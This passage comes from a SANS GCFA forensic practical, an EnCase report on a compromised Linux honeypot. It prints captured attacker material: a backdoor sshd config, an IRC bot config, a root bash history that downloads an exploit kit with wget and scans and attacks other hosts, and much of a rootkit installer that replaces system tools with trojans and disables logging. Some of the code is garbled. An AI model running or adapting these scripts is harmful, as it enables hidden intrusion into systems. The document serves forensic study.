            if [ -n "$EXTRA_PARAMS" ]; then
                HDFLAGS[$device]="$HDFLAGS[$device] $EXTRA_PARAMS"
            fi
        else
            HDFLAGS[$device]="$HDFLAGS[$device]"
        fi
    done
fi
HDFLAGS[$device]="${HDFLAGS[0]}"
fi
if [-e "/proc/ide/${disk[$device]}/media" ]; then
    hdmia="cat /proc/ide/${disk[$device]}/media"
    if [ "$hdmia" = "disk" -o -f "/etc/sysconfig/harddisk${disk[$device]}" ]; then
        action "Setting hard drive parameters for ${disk[$device]}: " /sbin/hdpa
        rm ${HDFLAGS[$device]}/dev/${disk[$device]}
    fi
fi
# Generate a header that defines the boot kernel.
/sbin/mkkerneldoth
# Adjust symlinks as necessary in /boot to keep system services from
# spewing messages about mismatched System maps and so on.
if [-L /boot/System.map -a -r /boot/System.map 'uname -r' -a \
   /boot/System.map -ef /boot/System.map 'uname -r' ]; then
    ln -s f System.map 'uname -r' /boot/System.map
fi
if [ ! -e /boot/System.map -a -r /boot/System.map 'uname -r' ]; then
    ln -s f System.map 'uname -r' /boot/System.map
fi
# The special Red Hat kernel library symlink must point to the right library
# We need to deal with cases where there is no library, and we need to
# deal with any version numbers that show up.
shopt -s nullglob
for library in /lib/kernel/$(uname -r)/libredhat-kernel.so* ; do
    ln -s f $library /lib/
done
shopt -u nullglob
# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later.
dmesg -s 131072 > /var/log/dmesg
# Also keep kernel symbols around in case we need them for debugging
i=5
while [ $i -ge 0 ] ; do
    if [-f /var/log/ksyms.$i ] ; then
        mv /var/log/ksyms.$i /var/log/ksyms.$((i+1))
    fi
    i=$(($i-1))
done
# create the crash indicator flag to warn on crashes, offer fsck with timeout
touch ~/.autofsck
sleep 1
kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1
} &
if [ "$PROMPT" != "no" ] ; then
    /sbin/getkey i && touch /var/run/confirm
fi
wait

39) Name ssdh_config
Description File
Full Path /sbin/ssdh_config
Entry Modified 06/29/03 03:25:20PM
Comment: This is the sshd_config file, used by nfsd.

# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
#AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

Config files

httpd configuration files

40) Name access.conf
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\access.conf
Entry Modified 06/20/03 02:17:32AM
Last Accessed 06/29/03 04:02:23AM
Last Written 04/09/02 12:56:58PM
Hash Value 5cfc0c5e40cc02415b7bd1c6f325e554
Physical Size 1,024
Logical Size 285

41) Name httpd.conf
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf
Entry Modified 06/27/03 02:11:35PM
Last Accessed 06/29/03 04:02:23AM
## EnCase Computer Analysis Report

### 42) Name: srm.conf
- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\srm.conf
- **Entry Modified**: 06/20/03 02:17:32AM
- **Last Accessed**: 06/29/03 04:02:23AM
- **Last Written**: 04/09/02 12:56:58PM
- **Hash Value**: b0366af9aad99e0f7515bbdc255e9a23
- **Physical Size**: 1,024
- **Logical Size**: 297

### 43) Name: httpd.conf.bak
- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf.bak
- **Entry Modified**: 06/27/03 02:08:34PM
- **Last Accessed**: 06/27/03 02:08:34PM
- **Last Written**: 04/09/02 12:56:58PM
- **Hash Value**: 55d44549fa2d844e59257b0f6286e197
- **Physical Size**: 52,224
- **Logical Size**: 51,270

### Root kit files

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

### samba.tgz files

#### 44) Name: samba.tgz
- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
- **Entry Modified**: 06/29/03 03:41:42PM
- **Last Accessed**: 06/29/03 03:41:56PM
- **Last Written**: 04/29/03 06:48:30AM
- **Hash Value**: 4c41dbabb341cf57e56c0394d6efc3d3
- **Physical Size**: 13,312
- **Logical Size**: 13,183

The samba.tgz files are used to assess and attack other hosts.

### These files are the IRC server software files.

#### 45) Name: README
- **Description**: File
- **Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\README
- **Entry Modified**: 06/29/03 03:32:50PM
- **Last Accessed**: 06/29/03 03:34:10PM

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment\EnCase Computer Analysis Report

Page 237

Last Written 11/08/00 12:38:22AM
Hash Value 5f44d5668618a6262120f17664cfccdf6
Physical Size 4,096
Logical Size 3,398

46) Name LinkEvents
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\LinkEvents
Entry Modified 06/29/03 03:43:55PM
Last Accessed 06/29/03 03:34:10PM
Last Written 06/29/03 03:43:55PM
Hash Value a20fef753ecc02a2a21d18bcfe466808
Physical Size 1,024
Logical Size 80

47) Name mech.set
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.set
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
Last Written 01/29/03 05:11:38PM
Hash Value d09d745a3eebdbec553e943a1c68f98e
Physical Size 2,048
Logical Size 1,150

48) Name checklpd
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\checklpd
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
Last Written 10/09/00 06:22:02PM
Hash Value ff23e76196e176cfcc57718
Physical Size 1,024
Logical Size 942

49) Name lpd.usr
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\lpd.usr
Entry Modified 06/29/03 07:00:27PM
Last Accessed 06/29/03 03:34:10PM
Last Written 06/29/03 07:00:27PM
Hash Value e64ef3ddd690630d1cdcea47593ee9e8
Physical Size 1,024
Logical Size 352

50) Name M4c4r0n.seen
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\M4c4r0n.seen
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 03/15/02 07:20:20PM
Hash Value
## EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 238

<table>
<thead>
<tr>
<th>Entry</th>
<th>Description</th>
<th>Full Path</th>
<th>Last Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>51)</td>
<td>configure</td>
<td>configure</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>2b3e480699a38040311204acc1a4224b</td>
<td>20,480</td>
<td>20,290</td>
</tr>
<tr>
<td>52)</td>
<td>MrIdiot.seen</td>
<td>MrIdiot.seen</td>
<td>06/29/03 07:10:27PM</td>
<td>06/29/03 03:35:40PM</td>
<td>06/29/03 07:10:27PM</td>
<td>938fa960b7f4f7e28e35cab9a4</td>
<td>1,024</td>
<td>148</td>
</tr>
<tr>
<td>53)</td>
<td>mech.levels</td>
<td>mech.levels</td>
<td>06/30/03 04:00:00PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/30/03 04:00:00PM</td>
<td>dc8afcc07717b77f129f26c033d311</td>
<td>2,048</td>
<td>1,085</td>
</tr>
<tr>
<td>54)</td>
<td>mech.pid</td>
<td>mech.pid</td>
<td>06/29/03 03:32:59PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 03:32:59PM</td>
<td>01548d54a5a49e4258f86046ded9f8b</td>
<td>1,024</td>
<td>6</td>
</tr>
<tr>
<td>55)</td>
<td>mech.session</td>
<td>mech.session</td>
<td>06/30/03 04:00:00PM</td>
<td>06/29/03 04:00:24PM</td>
<td>06/30/03 04:00:00PM</td>
<td>e5da1d9a1274662cbb81c00e66c875</td>
<td>1,024</td>
<td>1,024</td>
</tr>
</tbody>
</table>
Logical Size 374

Comment: IRC server config file.

linkport -1

nick VIRGINU
login Idiot
ircname Idiot
modes ix
userfile lpd.usr

tag SPY 1
tag AOP 1
tag PROT 1
tag AOP 1
tag PROT 1
tag AOP 1
tag PROT 1
tog SPY 1
channel #selekt
tag PROT 1
channel #rastie
tag AOP 1
tag PROT 1
channel #bash
set MPD 4
set MPL 2

tag AOP 1
tag PROT 1
tog AOP 1
tog PRORT 1
tog SPY 1

tagger XXX.XXX.2.23 6660
server 195.54.102.4 6667
server 205.252.46.98 6667
server 195.159.135.99 6667
server 194.117.157.68 6667

56) Name VERSIONS
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\VERSIONS
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
Last Written 11/08/00 12:44:24AM
Hash Value 294ba201b5a8be025604510a951c5f50
Physical Size 26,624
Logical Size 25,722

57) Name randinsult.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randinsult.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value a1b350ce4e068376627b4e9c36ebc9f7
Physical Size 4,096
Logical Size 3,982

58) Name randnicks.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randnicks.e
Entry Modified 06/29/03 03:32:50PM
EnCase Computer Analysis Report

Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 9877c324eb9b24b5464f9e3fe4176460
Physical Size 1,024
Logical Size 519

59) Name randsay.e
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randsay.e
   Entry Modified 06/29/03 03:32:50PM
   Last Accessed 06/29/03 03:32:50PM
   Last Written 10/09/00 06:22:02PM
   Hash Value 33ea5ec3e5dc626799b5bb567f06d217
   Physical Size 56,320
   Logical Size 55,316

60) Name randversions.e
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e
   Entry Modified 06/29/03 03:32:50PM
   Last Accessed 06/29/03 03:32:50PM
   Last Written 10/09/00 06:22:02PM
   Hash Value 0b252e189020453aad18b93913e44ec3
   Physical Size 2,048
   Logical Size 1,465

61) Name command.c
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
   Entry Modified 06/29/03 03:32:50PM
   Last Accessed 06/29/03 03:32:50PM
   Last Written 02/27/01 07:14:04AM
   Hash Value da8812cc62b784f6d5a10ef388288d7
   Physical Size 28,672
   Logical Size 28,470

62) Name command.o
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.o
   Entry Modified 06/29/03 03:32:50PM
   Last Accessed 06/29/03 03:32:50PM
   Last Written 08/27/01 02:00:22PM
   Hash Value 1f39ee4b22d6e67ca4269eccf4ad55e
   Physical Size 92,160
   Logical Size 91,656

63) Name commands.c
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment/EnCase Computer Analysis Report  Page 241

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Access</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:15:16AM</td>
<td>a1b52263b8a66d7c90fc549ef70230c4</td>
<td>41,984</td>
<td>41,966</td>
</tr>
</tbody>
</table>

**64) Name**: commands.o  
**Description**: File  
**Full Path**:Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src.commands.o  
**Entry Modified**: 06/29/03 03:32:50PM  
**Last Accessed**: 06/29/03 03:32:50PM  
**Last Written**: 08/27/01 02:00:26PM  
**Hash Value**: 8ab8813b5d0f080b7aead258c9ffc958  
**Physical Size**: 109,568  
**Logical Size**: 109,244

**65) Name**: gencmd  
**Description**: File  
**Full Path**:Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/gencmd  
**Entry Modified**: 06/29/03 03:32:50PM  
**Last Accessed**: 06/29/03 03:32:50PM  
**Last Written**: 08/27/01 02:00:18PM  
**Hash Value**: 6f929c94c8a39954c7099b73c42ebf65  
**Physical Size**: 56,320  
**Logical Size**: 55,666

**66) Name**: dcc.c  
**Description**: File  
**Full Path**:Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/dcc.c  
**Entry Modified**: 06/29/03 03:32:50PM  
**Last Accessed**: 06/29/03 03:32:50PM  
**Last Written**: 10/09/00 06:22:02PM  
**Hash Value**: e079888945868cbdbd4a5e4952b4cbbb0  
**Physical Size**: 10,240  
**Logical Size**: 9,929

**67) Name**: defines.h  
**Description**: File  
**Full Path**:Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/defines.h  
**Entry Modified**: 06/29/03 03:32:50PM  
**Last Accessed**: 06/29/03 03:32:50PM  
**Last Written**: 10/09/00 06:22:02PM  
**Hash Value**: 854b211a185d795497cc0a21c7778249  
**Physical Size**: 5,120  
**Logical Size**: 4,508

**68) Name**: debug.o  
**Description**: File  
**Full Path**:Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/.X11-pipe/src/debug.o
<table>
<thead>
<tr>
<th>Entry Number</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>69)</td>
<td>link.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\link.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:28PM</td>
<td>eb3e3d5dadd0e19b6b69a9e24ff790b2</td>
<td>64,512</td>
<td>64,160</td>
</tr>
<tr>
<td>70)</td>
<td>global.h</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\global.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:12:04PM</td>
<td>95dfe25136ed8b4b2c53ee8353761a23</td>
<td>97,280</td>
<td>96,896</td>
</tr>
<tr>
<td>71)</td>
<td>link.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\link.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>e6115dc63c46b08548e077a17da645aa</td>
<td>12,288</td>
<td>12,044</td>
</tr>
<tr>
<td>72)</td>
<td>gencmd.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\gencmd.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:30:22AM</td>
<td>07eac92b41b11fc50b02468748b5fdd8</td>
<td>47,104</td>
<td>46,547</td>
</tr>
<tr>
<td>73)</td>
<td>parse.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix.X11-pipe\src\parse.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:30:22AM</td>
<td>07eac92b41b11fc50b02468748b5fdd8</td>
<td>9,216</td>
<td>8,983</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>-------------</td>
<td>-----------------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>----------------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
</tr>
<tr>
<td>cfgfile.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\cfgfile.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:14:22PM</td>
<td>ee752441cd67aec374e1d77ab4630977</td>
<td>17,408</td>
<td>16,951</td>
<td></td>
</tr>
<tr>
<td>socket.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\socket.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>b47201862975f1ee5b7879658822cdf1</td>
<td>11,264</td>
<td>10,616</td>
<td></td>
</tr>
<tr>
<td>services</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\inetd\services</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2ae6e8349842f13</td>
<td>475,136</td>
<td>474,596</td>
<td></td>
</tr>
<tr>
<td>userlist.o</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\userlist.o</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:36PM
Hash Value 2e7bbdadb4579b0c5b9609ad1be0ed02f
Physical Size 74,752
Logical Size 74,952

79) Name usage.h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\usage.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 06:28:20AM
Hash Value de3238096016c1c151d99126cb6b4a95
Physical Size 5,120
Logical Size 5,001

80) Name vars.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\vars.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 57bdcdba9d9126a49472d85485bae729
Physical Size 10,240
Logical Size 10,190

81) Name xmech.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\xmech.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:38PM
Hash Value 43ca3fc3c7bf56e00c75677de8ed6c43
Physical Size 86,016
Logical Size 85,984

82) Name Makefile
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\Makefile
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 01:50:36PM
Hash Value b0154c6a0911fcbbbe31669c9d756753
Physical Size 3,072
Logical Size 3,020

83) Name solo
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba\solo
Entry Modified 06/29/03 03:41:56PM
Comment: This is an attack script from the samba.tgz file.

```
./samba -v -p $3 -d 300000 -C 99 -b $2 $1
```

84) Name: .bash_history
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\root\.bash_history
Entry Modified: 06/29/03 05:21:44PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 06/29/03 05:21:44PM
Hash Value: da617ff22a9bdf3508ada5a86d10217e
Physical Size: 3,072
Logical Size: 2,477


```
unset HISTFILES
cd /tmp
ls -al
rm -rf .
rm -rf r
mc
ps ax
killall -9 cp chmod
ds ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font
- unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis `tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./samba -d 0 -S XXX.XXX.54.*
nmap XXX.XXX.59.235
nmap XXX.XXX.61.126
./sys XXX.XXX.61.126
```

© SANS Institute 2004, 
As part of GIAC practical repository. 
Author retains full rights.
<table>
<thead>
<tr>
<th>85) Name</th>
<th>weit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>File</td>
<td></td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\weit</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:10PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:22:10PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>03/24/03 07:23:19PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>2b008592a46a5a52008ba46a27116833</td>
</tr>
<tr>
<td>Physical Size</td>
<td>24,576</td>
</tr>
<tr>
<td>Logical Size</td>
<td>20,914</td>
</tr>
</tbody>
</table>

Comment: Root kit files

**s.tar.gz files – infected with Linux RST.B Virus**

Files from s.tar.gz

*These file are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus ([http://www.sophos.com/virusinfo/analyses/linuxrstb.html](http://www.sophos.com/virusinfo/analyses/linuxrstb.html)).*

<table>
<thead>
<tr>
<th>86) Name</th>
<th>install</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>File</td>
<td></td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\install</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:08PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:25:21PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>03/24/03 09:37:31PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>5ab9ac0a738a7585378f3869d</td>
</tr>
</tbody>
</table>
Comment: Here is the install script from the s.tar.gz file.

#!/bin/sh
# ===============================================
clp=". [0m"
cyan=" [36m"
white=" [37m"
h blink=" [1;30m"
h green=" [1;32m"
h cyan=" [1;36m"
h white=" [1;37m"
h red=" [1;31m"
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:
/usr/bin:/usr/X11R6/bin:/root/bin:
PATH=/usr/local/sbin:/usr/sbin:
PATH=/sbin:/bin:
PATH=/usr/bin:
PATH=/usr/X11R6/bin:
PATH=/sbin:
PATH=/bin:
PATH=/usr/bin:
PATH=/usr/X11R6/bin:
PATH=/root/bin:
PATH=/usr/local/bin:
echo "Installing" >install.log
chattr -iau /etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find >>install.log 2>&1
chattr -iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir >>install.log 2>&1
/etc/rc.d/init.d/syslog stop >>install.log 2>&1
killall -9 portmap 2>>install.log
rm -rf ../*.tgz 2>>install.log
if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
  echo "${cl}${hred}Argh!! .. SysV init not found${cl}${wht}"
  echo "${cl}${hred}Installation aborted.${cl}${wht}"
  echo "non-sysv init system, installation aborted" >>install.log
  /etc/rc.d/init.d/syslog start >>install.log 2>&1
  exit 1
fi
cp -f .1proc /dev/ttyop
cp -f .laddr /dev/ttyoa
cp -f .1file /dev/ttyof
cp -f .1logz /dev/ttyos
touch -acmr /usr/bin/du du >>install.log 2>&1
touch -acmr /usr/bin/find find >>install.log 2>&1
touch -acmr /usr/bin/killall killall >>install.log 2>&1
touch -acmr /bin/netstat netstat >>install.log 2>&1
touch -acmr /bin/ps ps >>install.log 2>&1
touch -acmr /bin/ls ls >>install.log 2>&1
touch -acmr /usr/bin/pstree pstree >>install.log 2>&1
touch -acmr /usr/bin/top top >>install.log 2>&1
touch -acmr /usr/bin/vdir vdir >>install.log 2>&1
sleep 1
echo "$(cl)$(hblink)$(cl)$(hred)=$(cl)$(hwht)Installing trojaned programs$(cl)$(wht)"
echo "$(cl)$(hred)=$(cl)$(hblink)~$(cl)$(wht)ps"" >>install.log
if [ ! "$(2>&1 .ps >/dev/null)" ]; then
  if [ ! -x /bin/ps ]; then
    mv -f /bin/ps /bin/mps >>install.log 2>&1
  fi
fi
cp -f ps /bin >>install.log 2>&1
if [ ! -x /bin/ps ]; then
cp -f ps /bin/ps >>install.log 2>&1
fi
echo "PS --> OK" >>install.log
else
echo "$\(cl\)$(hred) $ failed $\(cl\)$(wht)"
```bash

echo "PS --> failed" >>install.log
fi

if [ -d /usr/include/rpcsvc ]; then
  mkdir -p /usr/include/rpcsvc >>install.log 2>&1
fi

echo "${cl}${hred}|${cl}${hblk}---${cl}${wht}top"
if [ ! -x /usr/bin/top ]; then
  mv -f /usr/bin/top /usr/bin/mtop >>install.log 2>&1
  cp -f top /usr/bin/ >>install.log 2>&1
  echo "TOP --> OK" >>install.log
else
  echo "${cl}${hred} *** failed ***${cl}${wht}"
echo "TOP --> failed" >>install.log
fi

echo "${cl}${hred}|${cl}${hblk}------${cl}${wht}ps-tree"
sh mpstree
echo "|------ps-tree " >>install.log
if [ ! "$(2>&1 ./ps-tree >/dev/null) " ]; then
  if [ ! -x /usr/bin/ps-tree ]; then
    mv -f /usr/bin/ps-tree /usr/bin/mpstree >>install.log 2>&1
    cp -f ps-tree /usr/bin >>install.log 2>&1
    echo "PS-TREE --> OK" >>install.log
  else
    echo "${cl}${hred} *** failed ***${cl}${wht}"
echo "PS-TREE --> failed" >>install.log
  fi
fi

echo "${cl}${hred}|${cl}${hblk}-----${cl}${wht}killall"
sh killall
echo "|-----killall " >>install.log
if [ ! "$(2>&1 ./killall >/dev/null) " ]; then
  if [ ! -x /dev/killer ]; then
    mv -f /usr/bin/killall /dev/killall >>install.log 2>&1
    cp -f killall /usr/bin/ >>install.log 2>&1
    cp -f killall /usr/bin/dir
    cp -f killall /usr/bin/vdir
    echo "KILLALL --> OK" >>install.log
  else
    echo "${cl}${hred} *** failed ***${cl}${wht}"
echo "KILLALL --> failed" >>install.log
  fi
fi

echo "${cl}${hred}|${cl}${hblk}------${cl}${wht}find"
sh find
echo "|------find " >>install.log
if [ ! -x /usr/bin/find ]; then
  mv -f /usr/bin/find /usr/bin/mfind
  cp -f mfind /usr/bin
  echo "find --> OK" >>install.log
else
  echo "${cl}${hred} *** failed ***${cl}${wht}"
fi

```

© SANS Institute 2004, Author retains full rights.
echo "FIND ---> failed" >>install.log
fi

echo "$(cl)$[hred]|$(cl)$[hblk]--------$(cl)$[wht]du"

if [ ! "$(2>&1 ./du >/dev/null)" ]; then
  if [ ! -f /usr/include/rpcsvc/du ]; then
    mv -f /usr/bin/du /usr/include/rpcsvc/du >>install.log 2>&1
    chmod -x /usr/include/rpcsvc/du
  fi
  cp -f du /usr/bin >>install.log 2>&1
  echo "DU ---> OK" >>install.log
else
  echo "$[cl]$[hred] *** failed ***$[cl]$[wht]"
  echo "DU ---> failed" >>install.log
fi

echo "$(cl)$[hred]|$(cl)$[hblk]--------$(cl)$[wht]netstat"

if [ ! -x /bin/mnetstat ]; then
  mv -f /bin/netstat /bin/mnetstat >>install.log 2>&1
  cp -f netstat /bin/ >>install.log 2>&1
  echo "NETSTAT ---> OK" >>install.log
else
  echo "$[cl]$[hred] *** failed ***$[cl]$[wht]"
